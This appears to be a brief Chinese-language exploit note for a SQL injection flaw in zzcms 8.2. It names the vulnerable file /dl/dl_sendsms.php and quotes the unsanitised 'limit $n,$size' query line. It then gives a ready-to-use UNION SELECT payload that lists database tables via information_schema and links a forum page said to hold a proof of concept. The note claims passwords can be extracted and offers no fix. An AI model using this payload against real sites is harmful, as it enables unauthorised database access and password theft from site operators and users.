zzcms 8.2最新sql注入漏洞

摘要

文件地址: /dl/dl_sendsms.php $sql2=$sql." order by id asc limit $n,$size"; 可以通过SQL注入获取密码

文件地址:

/dl/dl_sendsms.php

$sql2=$sql." order by id asc limit $n,$size";

可以通过SQL注入获取密码

构建

sql=select email from zzcms_dl where id=-1 union select group_concat(distinct table_name) from information_schema.columns where table_schema=database()#

poc利用

POC地址

http://bbs.0dayhack.com/thread-9-1-1.html